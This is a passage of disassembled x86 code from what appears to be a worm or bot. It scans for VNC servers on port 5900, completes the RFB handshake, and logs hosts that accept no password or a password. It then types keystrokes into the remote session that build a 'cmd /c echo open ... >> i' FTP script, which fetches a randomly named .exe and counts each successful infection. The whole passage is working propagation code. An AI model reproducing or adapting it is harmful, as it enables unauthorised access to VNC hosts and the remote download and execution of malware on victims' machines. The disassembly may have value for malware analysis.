		call	dword_454350	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_420758
		test	eax, eax
		jz	short loc_420758
		add	esi, eax
		cmp	esi, edi
		jl	short loc_42072B


loc_420752:				; CODE XREF: sub_42071B+Ej
		xor	eax, eax
		inc	eax


loc_420755:				; CODE XREF: sub_42071B+3Fj
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420758:				; CODE XREF: sub_42071B+8j
					; sub_42071B+2Bj ...
		xor	eax, eax
		jmp	short loc_420755
sub_42071B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42075C	proc near		; CODE XREF: .text:004209D6p
					; .text:004209F3p ...

var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		push	edi
		mov	esi, offset dword_455610
		lea	edi, [ebp+var_10]
		mov	ax, word_449158
		movsd
		movsb
		mov	esi, offset dword_6313C0
		lea	edi, [ebp+var_18]
		mov	[ebp+var_2], ax
		mov	ax, word_449154
		movsd
		mov	[ebp+var_6], ax
		mov	ax, word_44D6A0
		movsw
		mov	[ebp+var_4], ax
		mov	eax, [ebp+arg_8]
		xor	esi, esi
		cmp	eax, esi
		jnz	loc_420825
		mov	edi, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+arg_8], esi


loc_4207AE:				; CODE XREF: sub_42075C+C4j
		mov	eax, [ebp+arg_8]
		sub	eax, esi
		jz	short loc_4207CB
		dec	eax
		jnz	short loc_420819
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_454350	; send
		lea	eax, [ebp+var_4]
		jmp	short loc_4207DC
; ---------------------------------------------------------------------------


loc_4207CB:				; CODE XREF: sub_42075C+57j
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_454350	; send
		lea	eax, [ebp+var_6]


loc_4207DC:				; CODE XREF: sub_42075C+6Dj
		push	esi
		push	1
		push	eax
		push	edi
		call	dword_454350	; send
		push	ebx
		call	sub_422120
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_4207FB
		push	4
		lea	eax, [ebp+var_10]
		jmp	short loc_420800
; ---------------------------------------------------------------------------


loc_4207FB:				; CODE XREF: sub_42075C+96j
		push	5
		lea	eax, [ebp+var_18]


loc_420800:				; CODE XREF: sub_42075C+9Dj
		push	eax
		push	edi
		call	dword_454350	; send
		push	esi
		push	ebx
		call	sub_422120
		pop	ecx
		push	eax
		push	ebx
		push	edi
		call	dword_454350	; send


loc_420819:				; CODE XREF: sub_42075C+5Aj
		inc	[ebp+arg_8]
		cmp	[ebp+arg_8], 1
		jle	short loc_4207AE
		pop	ebx
		jmp	short loc_420898
; ---------------------------------------------------------------------------


loc_420825:				; CODE XREF: sub_42075C+42j
		dec	eax
		jz	short loc_420841
		dec	eax
		jnz	short loc_420898
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_454350	; send
		lea	eax, [ebp+var_4]
		jmp	short loc_420855
; ---------------------------------------------------------------------------


loc_420841:				; CODE XREF: sub_42075C+CAj
		mov	edi, [ebp+arg_0]
		push	esi
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		push	edi
		call	dword_454350	; send
		lea	eax, [ebp+var_6]


loc_420855:				; CODE XREF: sub_42075C+E3j
		push	esi
		push	1
		push	eax
		push	edi
		call	dword_454350	; send
		push	[ebp+arg_4]
		call	sub_422120
		pop	ecx
		cmp	eax, 2
		push	esi
		jnz	short loc_420876
		push	4
		lea	eax, [ebp+var_10]
		jmp	short loc_42087B
; ---------------------------------------------------------------------------


loc_420876:				; CODE XREF: sub_42075C+111j
		push	5
		lea	eax, [ebp+var_18]


loc_42087B:				; CODE XREF: sub_42075C+118j
		push	eax
		push	edi
		call	dword_454350	; send
		push	esi
		push	[ebp+arg_4]
		call	sub_422120
		pop	ecx
		push	eax
		push	[ebp+arg_4]
		push	edi
		call	dword_454350	; send


loc_420898:				; CODE XREF: sub_42075C+C7j
					; sub_42075C+CDj
		pop	edi
		pop	esi
		leave
		retn
sub_42075C	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 190h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_4491F4
		lea	edi, [ebp-40h]
		mov	ax, word_449154
		movsd
		movsd
		movsd
		movsb
		mov	esi, offset dword_4491F0
		lea	edi, [ebp-24h]
		movsw
		movsb
		mov	esi, offset dword_455610
		lea	edi, [ebp-30h]
		movsd
		movsb
		mov	esi, offset dword_4491EC
		lea	edi, [ebp-18h]
		movsw
		movsb
		mov	esi, offset dword_4491E8
		lea	edi, [ebp-20h]
		movsw
		movsb
		mov	esi, offset loc_4491E4
		lea	edi, [ebp-0Ch]
		movsw
		movsb
		mov	[ebp-6], ax
		mov	[ebp-12h], ax
		mov	ax, word_433EEC
		xor	esi, esi
		mov	[ebp-8], ax
		mov	ax, word_433F2C
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		xor	edi, edi
		call	dword_454394	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		mov	[ebp-10h], ebx
		jnz	short loc_42092C
		push	eax
		call	dword_4543AC	; closesocket


loc_42092C:				; CODE XREF: .text:00420923j
		lea	eax, [ebp+10h]
		mov	word ptr [ebp-50h], 2
		push	eax
		call	dword_45434C	; inet_addr
		push	170Ch
		mov	[ebp-4Ch], eax
		call	dword_454314	; ntohs
		mov	[ebp-4Eh], ax
		lea	eax, [ebp-50h]
		push	10h
		push	eax
		push	ebx
		call	dword_4542AC	; connect
		test	eax, eax
		jnz	loc_420B6D


loc_420963:				; CODE XREF: .text:00420BABj
					; .text:00420BE3j
		push	40h
		lea	eax, [ebp-90h]
		push	esi
		push	eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp-90h]
		push	esi
		push	40h
		push	eax
		push	ebx
		call	dword_454330	; recv
		cmp	eax, esi
		jle	short loc_4209C1
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4209C1
		mov	eax, edi
		sub	eax, esi
		jz	loc_420BB0
		dec	eax
		jz	loc_420B7B
		dec	eax
		jnz	loc_420BE0
		lea	eax, [ebp-30h]
		push	eax
		lea	eax, [ebp-90h]
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_420B6D


loc_4209C1:				; CODE XREF: .text:00420988j
					; .text:0042098Dj ...
		push	esi
		lea	eax, [ebp-12h]
		push	1
		push	eax
		push	ebx
		call	dword_454350	; send
		lea	eax, [ebp-18h]
		push	1
		push	eax
		push	ebx
		call	sub_42075C
		mov	esi, dword_42F15C
		add	esp, 0Ch
		mov	edi, 3E8h
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp-1Ah]
		push	0
		push	eax
		push	ebx
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp-18h]
		push	2
		push	eax
		push	ebx
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		call	sub_4220FC
		push	9
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		call	sub_4220FC
		cdq
		idiv	ebx
		lea	eax, [ebp-190h]
		push	edx
		push	offset loc_43903C
		push	offset aSDDDD_exe ; "%s%d%d%d%d.exe"
		push	eax
		call	sub_422063
		push	100h
		mov	ebx, offset byte_6312C0
		push	0
		push	ebx
		call	sub_4221F0
		lea	eax, [ebp+10h]
		push	eax
		call	sub_414173
		add	esp, 2Ch
		mov	dword ptr [ebp-4], offset dword_455388
		test	eax, eax
		jnz	short loc_420A83
		mov	dword ptr [ebp-4], offset dword_4552D0


loc_420A83:				; CODE XREF: .text:00420A7Aj
		lea	eax, [ebp-190h]
		push	eax
		lea	eax, [ebp-190h]
		push	eax
		call	sub_4010E7
		push	eax
		call	sub_4010E7
		push	eax
		push	dword_44D680
		push	dword ptr [ebp-4]
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> i &echo user "...
		push	0FFh
		push	ebx
		call	sub_42219B
		and	dword ptr [ebp-4], 0
		push	ebx
		call	sub_422120
		add	esp, 28h
		test	eax, eax
		jbe	short loc_420B06


loc_420AC7:				; CODE XREF: .text:00420B04j
		mov	eax, [ebp-4]
		movsx	eax, byte_6312C0[eax]
		push	eax
		push	offset dword_44915C
		lea	eax, [ebp-28h]
		push	3
		push	eax
		call	sub_42219B
		lea	eax, [ebp-28h]
		push	0
		push	eax
		push	dword ptr [ebp-10h]
		call	sub_42075C
		add	esp, 1Ch
		push	0Fh
		call	esi ; dword_42F15C
		inc	dword ptr [ebp-4]
		push	ebx
		call	sub_422120
		cmp	[ebp-4], eax
		pop	ecx
		jb	short loc_420AC7


loc_420B06:				; CODE XREF: .text:00420AC5j
		push	edi
		call	esi ; dword_42F15C
		mov	ebx, [ebp-10h]
		lea	eax, [ebp-20h]
		push	0
		push	eax
		push	ebx
		call	sub_42075C
		add	esp, 0Ch
		push	7530h
		call	esi ; dword_42F15C
		lea	eax, [ebp-0Ch]
		push	1
		push	eax
		push	ebx
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp-8]
		push	0
		push	eax
		push	ebx
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp-0Ch]
		push	2
		push	eax
		push	ebx
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		mov	eax, [ebp+0C8h]
		xor	esi, esi
		lea	eax, [eax+eax*8]
		lea	eax, ds:432090h[eax*8]
		inc	dword ptr [eax]
		inc	esi


loc_420B6D:				; CODE XREF: .text:0042095Dj
					; .text:004209BBj ...
		push	ebx
		call	dword_4543AC	; closesocket
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_420B7B:				; CODE XREF: .text:0042099Aj
		lea	eax, [ebp-24h]
		push	eax
		lea	eax, [ebp-90h]
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420B6D
		lea	eax, [ebp-6]
		push	esi
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp-6]
		push	eax
		push	ebx
		call	dword_454350	; send
		push	2
		pop	edi
		jmp	loc_420963
; ---------------------------------------------------------------------------


loc_420BB0:				; CODE XREF: .text:00420993j
		lea	eax, [ebp-40h]
		push	eax
		lea	eax, [ebp-90h]
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420B6D
		lea	eax, [ebp-40h]
		push	esi
		push	eax
		call	sub_422120
		pop	ecx
		push	eax
		lea	eax, [ebp-40h]
		push	eax
		push	ebx
		call	dword_454350	; send
		xor	edi, edi
		inc	edi


loc_420BE0:				; CODE XREF: .text:004209A1j
		cmp	edi, 3
		jnz	loc_420963
		jmp	loc_4209C1

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420BEE	proc near		; CODE XREF: .text:00421450p

var_118C	= byte ptr -118Ch
var_18C		= byte ptr -18Ch
var_8C		= byte ptr -8Ch
var_7C		= word ptr -7Ch
var_7A		= word ptr -7Ah
var_78		= dword	ptr -78h
var_6C		= byte ptr -6Ch
var_60		= byte ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h
arg_C0		= dword	ptr  0C8h
arg_D0		= dword	ptr  0D8h
arg_D8		= dword	ptr  0E0h

		push	ebp
		mov	ebp, esp
		mov	eax, 118Ch
		call	sub_4220C0
		push	ebx
		push	esi
		push	edi
		mov	esi, offset dword_4491EC
		lea	edi, [ebp+var_10]
		mov	ax, word_433F2C
		movsw
		movsb
		mov	esi, offset dword_4491E8
		lea	edi, [ebp+var_24]
		movsw
		movsb
		mov	esi, offset loc_4491E4
		lea	edi, [ebp+var_C]
		xor	ebx, ebx
		mov	[ebp+var_14], ax
		mov	ax, word_433EEC
		push	ebx
		movsw
		push	1
		push	2
		mov	dword_6312B8, ebx
		mov	[ebp+var_12], ax
		movsb
		call	dword_454394	; socket
		cmp	eax, 0FFFFFFFFh
		jz	loc_421119
		lea	eax, [ebp+arg_8]
		push	eax
		call	dword_45434C	; inet_addr
		push	170Ch
		mov	[ebp+var_78], eax
		mov	[ebp+var_7C], 2
		call	dword_454314	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_7A], ax
		call	dword_42F29C	; socket
		mov	edi, eax
		lea	eax, [ebp+var_7C]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_4], edi
		call	dword_4542AC	; connect
		test	eax, eax
		jnz	loc_421119
		lea	eax, [ebp+var_6C]
		push	0Ch
		push	eax
		push	edi
		call	sub_4206E2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420CB1


loc_420CAA:				; CODE XREF: sub_420BEE+E7j
					; sub_420BEE+EEj ...
		xor	esi, esi
		jmp	loc_420D5F
; ---------------------------------------------------------------------------


loc_420CB1:				; CODE XREF: sub_420BEE+BAj
		lea	eax, [ebp+var_20]
		and	[ebp+var_60], 0
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		mov	esi, offset aRfb03d_03d	; "RFB %03d.%03d\n"
		lea	eax, [ebp+var_6C]
		push	esi
		push	eax
		call	sub_422725
		add	esp, 10h
		push	3
		pop	eax
		cmp	[ebp+var_18], eax
		jl	short loc_420CAA
		jnz	short loc_420CDE
		cmp	[ebp+var_20], eax
		jl	short loc_420CAA


loc_420CDE:				; CODE XREF: sub_420BEE+E9j
		push	5
		push	eax
		lea	eax, [ebp+var_6C]
		push	esi
		push	eax
		call	sub_422063
		lea	eax, [ebp+var_6C]
		push	0Ch
		push	eax
		push	edi
		call	sub_42071B
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_420CAA
		lea	eax, [ebp+var_5C]
		push	4
		push	eax
		push	edi
		call	sub_4206E2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420CAA
		mov	ecx, [ebp+var_5C]
		mov	eax, ecx
		mov	edx, ecx
		and	eax, 0FF0000h
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, 0FF00h
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp+var_5C], eax
		sub	eax, ebx
		jz	loc_421119
		mov	esi, dword_42F15C
		dec	eax
		mov	ebx, 0FFh
		mov	edi, 3E8h
		jz	short loc_420D6F
		dec	eax
		jz	loc_42104D
		xor	esi, esi
		inc	esi


loc_420D5F:				; CODE XREF: sub_420BEE+BEj
		push	[ebp+var_4]
		call	dword_42F298	; closesocket
		mov	eax, esi
		jmp	loc_42111B
; ---------------------------------------------------------------------------


loc_420D6F:				; CODE XREF: sub_420BEE+165j
		push	1
		push	offset word_44D6A0
		push	[ebp+var_4]
		call	sub_42071B
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42104D
		lea	eax, [ebp+var_58]
		push	18h
		push	eax
		push	[ebp+var_4]
		call	sub_4206E2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42104D
		mov	eax, [ebp+var_58]
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_58+1]
		shl	eax, 8
		xor	cl, al
		and	cx, bx
		xor	ecx, eax
		mov	eax, [ebp+var_58+2]
		mov	word ptr [ebp+var_58], cx
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_58+3]
		shl	eax, 8
		xor	cl, al
		and	cx, bx
		xor	ecx, eax
		mov	eax, [ebp+var_50]
		mov	word ptr [ebp+var_58+2], cx
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_50+1]
		shl	eax, 8
		xor	cl, al
		and	cx, bx
		xor	ecx, eax
		mov	eax, [ebp+var_50+2]
		mov	word ptr [ebp+var_50], cx
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_50+3]
		shl	eax, 8
		xor	cl, al
		and	cx, bx
		xor	ecx, eax
		mov	eax, [ebp+var_4C]
		mov	word ptr [ebp+var_50+2], cx
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_4C+1]
		shl	eax, 8
		xor	cl, al
		and	cx, bx
		xor	ecx, eax
		mov	eax, [ebp+var_44]
		mov	word ptr [ebp+var_4C], cx
		mov	ecx, eax
		mov	edx, eax
		and	ecx, 0FF0000h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, 0FF00h
		or	edx, eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_118C]
		push	[ebp+var_20]
		shr	ecx, 8
		push	[ebp+var_18]
		shl	edx, 8
		push	offset aVncD_DSNopass ;	"VNC%d.%d: %s -	(NoPass)"
		or	ecx, edx
		push	1000h
		push	eax
		mov	[ebp+var_44], ecx
		call	sub_42219B
		add	esp, 18h
		cmp	[ebp+arg_D0], 0
		jz	short loc_420E7F
		lea	eax, [ebp+var_118C]
		push	eax
		push	offset aS_1	; "%s"
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 10h


loc_420E7F:				; CODE XREF: sub_420BEE+275j
		push	1000h
		lea	eax, [ebp+var_118C]
		push	0
		push	eax
		call	sub_4221F0
		lea	eax, [ebp+var_10]
		push	1
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 18h
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_10]
		push	2
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		call	sub_4220FC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_18C]
		push	edx
		push	offset loc_43903C
		push	offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
		push	eax
		call	sub_422063
		push	100h
		push	0
		push	offset byte_6312C0
		call	sub_4221F0
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_414173
		add	esp, 30h
		mov	[ebp+var_8], offset dword_455388
		test	eax, eax
		jnz	short loc_420F4F
		mov	[ebp+var_8], offset dword_4552D0


loc_420F4F:				; CODE XREF: sub_420BEE+358j
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_4010E7
		push	eax
		call	sub_4010E7
		push	eax
		push	dword_44D680
		push	[ebp+var_8]
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> i &echo user "...
		push	ebx
		push	offset byte_6312C0
		call	sub_42219B
		and	[ebp+var_8], 0
		push	offset byte_6312C0
		call	sub_422120
		add	esp, 28h
		test	eax, eax
		jbe	short loc_420FDA


loc_420F97:				; CODE XREF: sub_420BEE+3EAj
		mov	eax, [ebp+var_8]
		movsx	eax, byte_6312C0[eax]
		push	eax
		push	offset dword_44915C
		lea	eax, [ebp+var_1C]
		push	3
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_1C]
		push	0
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 1Ch
		push	0Fh
		call	esi ; dword_42F15C
		inc	[ebp+var_8]
		push	offset byte_6312C0
		call	sub_422120
		cmp	[ebp+var_8], eax
		pop	ecx
		jb	short loc_420F97


loc_420FDA:				; CODE XREF: sub_420BEE+3A7j
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_24]
		push	0
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 0Ch
		push	7530h
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_12]
		push	0
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_C]
		push	2
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		mov	eax, [ebp+arg_C0]
		mov	dword_6312B8, 1
		lea	eax, [eax+eax*8]
		lea	eax, ds:432090h[eax*8]
		inc	dword ptr [eax]


loc_42104D:				; CODE XREF: sub_420BEE+168j
					; sub_420BEE+195j ...
		lea	eax, [ebp+var_8C]
		push	10h
		push	eax
		push	[ebp+var_4]
		call	sub_4206E2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42106E
		push	[ebp+var_4]
		call	dword_42F298	; closesocket


loc_42106E:				; CODE XREF: sub_420BEE+475j
		push	[ebp+arg_D8]
		call	sub_422120
		cmp	eax, 8
		pop	ecx
		jbe	short loc_421089
		mov	eax, [ebp+arg_D8]
		and	byte ptr [eax+8], 0


loc_421089:				; CODE XREF: sub_420BEE+48Fj
		push	[ebp+arg_D8]
		lea	eax, [ebp+var_8C]
		push	eax
		call	sub_420688
		lea	eax, [ebp+var_8C]
		push	10h
		push	eax
		push	[ebp+var_4]
		call	sub_42071B
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4210BC
		push	[ebp+var_4]
		call	dword_42F298	; closesocket


loc_4210BC:				; CODE XREF: sub_420BEE+4C3j
		lea	eax, [ebp+var_28]
		push	4
		push	eax
		push	[ebp+var_4]
		call	sub_4206E2
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4210DA
		push	[ebp+var_4]
		call	dword_42F298	; closesocket


loc_4210DA:				; CODE XREF: sub_420BEE+4E1j
		mov	ecx, [ebp+var_28]
		mov	eax, ecx
		mov	edx, ecx
		and	eax, 0FF0000h
		shr	edx, 10h
		or	eax, edx
		mov	edx, ecx
		shl	edx, 10h
		and	ecx, 0FF00h
		or	edx, ecx
		shr	eax, 8
		shl	edx, 8
		or	eax, edx
		mov	[ebp+var_28], eax
		sub	eax, 0
		jz	short loc_421120
		dec	eax
		jz	short loc_421119
		dec	eax
		jnz	loc_420CAA
		push	3E80h
		call	esi ; dword_42F15C


loc_421119:				; CODE XREF: sub_420BEE+5Bj
					; sub_420BEE+A3j ...
		xor	eax, eax


loc_42111B:				; CODE XREF: sub_420BEE+17Cj
					; sub_420BEE+822j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_421120:				; CODE XREF: sub_420BEE+518j
		push	1
		push	offset word_44D6A0
		push	[ebp+var_4]
		call	sub_42071B
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42140D
		lea	eax, [ebp+var_40]
		push	18h
		push	eax
		push	[ebp+var_4]
		call	sub_4206E2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_42140D
		mov	eax, [ebp+var_40]
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_40+1]
		push	[ebp+arg_D8]
		shl	eax, 8
		xor	cl, al
		and	cx, bx
		xor	ecx, eax
		mov	eax, [ebp+var_40+2]
		mov	word ptr [ebp+var_40], cx
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_40+3]
		shl	eax, 8
		xor	cl, al
		and	cx, bx
		xor	ecx, eax
		mov	eax, [ebp+var_38]
		mov	word ptr [ebp+var_40+2], cx
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_38+1]
		shl	eax, 8
		xor	cl, al
		and	cx, bx
		xor	ecx, eax
		mov	eax, [ebp+var_38+2]
		mov	word ptr [ebp+var_38], cx
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_38+3]
		shl	eax, 8
		xor	cl, al
		and	cx, bx
		xor	ecx, eax
		mov	eax, [ebp+var_34]
		mov	word ptr [ebp+var_38+2], cx
		xor	ecx, ecx
		mov	cl, byte ptr [ebp+var_34+1]
		shl	eax, 8
		xor	cl, al
		and	cx, bx
		xor	ecx, eax
		mov	eax, [ebp+var_2C]
		mov	word ptr [ebp+var_34], cx
		mov	ecx, eax
		mov	edx, eax
		and	ecx, 0FF0000h
		shr	edx, 10h
		or	ecx, edx
		mov	edx, eax
		shl	edx, 10h
		and	eax, 0FF00h
		or	edx, eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_118C]
		push	[ebp+var_20]
		shr	ecx, 8
		push	[ebp+var_18]
		shl	edx, 8
		push	offset aVncD_DSS ; "VNC%d.%d: %s - %s"
		or	ecx, edx
		push	1000h
		push	eax
		mov	[ebp+var_2C], ecx
		call	sub_42219B
		add	esp, 1Ch
		cmp	[ebp+arg_D0], 0
		jz	short loc_421236
		lea	eax, [ebp+var_118C]
		push	eax
		push	offset aS_1	; "%s"
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_4104F6
		add	esp, 10h


loc_421236:				; CODE XREF: sub_420BEE+62Cj
		push	1000h
		lea	eax, [ebp+var_118C]
		push	0
		push	eax
		call	sub_4221F0
		lea	eax, [ebp+var_10]
		push	1
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 18h
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_10]
		push	2
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		call	sub_4220FC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_4220FC
		push	9
		cdq
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+var_18C]
		push	edx
		push	offset loc_43903C
		push	offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe"
		push	eax
		call	sub_422063
		push	100h
		push	0
		push	offset byte_6312C0
		call	sub_4221F0
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_414173
		add	esp, 30h
		mov	[ebp+arg_D8], offset dword_455388
		test	eax, eax
		jnz	short loc_42130C
		mov	[ebp+arg_D8], offset dword_4552D0


loc_42130C:				; CODE XREF: sub_420BEE+712j
		lea	eax, [ebp+var_18C]
		push	eax
		lea	eax, [ebp+var_18C]
		push	eax
		call	sub_4010E7
		push	eax
		call	sub_4010E7
		push	eax
		push	dword_44D680
		push	[ebp+arg_D8]
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> i &echo user "...
		push	ebx
		mov	ebx, offset byte_6312C0
		push	ebx
		call	sub_42219B
		and	[ebp+arg_D8], 0
		push	ebx
		call	sub_422120
		add	esp, 28h
		test	eax, eax
		jbe	short loc_42139F


loc_421357:				; CODE XREF: sub_420BEE+7AFj
		mov	eax, [ebp+arg_D8]
		movsx	eax, byte_6312C0[eax]
		push	eax
		push	offset dword_44915C
		lea	eax, [ebp+var_1C]
		push	3
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_1C]
		push	0
		push	eax
		push	[ebp+var_4]
		call	sub_42075C
		add	esp, 1Ch
		push	0Fh
		call	esi ; dword_42F15C
		inc	[ebp+arg_D8]
		push	ebx
		call	sub_422120
		cmp	[ebp+arg_D8], eax
		pop	ecx
		jb	short loc_421357


loc_42139F:				; CODE XREF: sub_420BEE+767j
		push	edi
		call	esi ; dword_42F15C
		mov	ebx, [ebp+var_4]
		lea	eax, [ebp+var_24]
		push	0
		push	eax
		push	ebx
		call	sub_42075C
		add	esp, 0Ch
		push	7530h
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_C]
		push	1
		push	eax
		push	ebx
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_12]
		push	0
		push	eax
		push	ebx
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		lea	eax, [ebp+var_C]
		push	2
		push	eax
		push	ebx
		call	sub_42075C
		add	esp, 0Ch
		push	edi
		call	esi ; dword_42F15C
		mov	eax, [ebp+arg_C0]
		mov	dword_6312B8, 1
		lea	eax, [eax+eax*8]
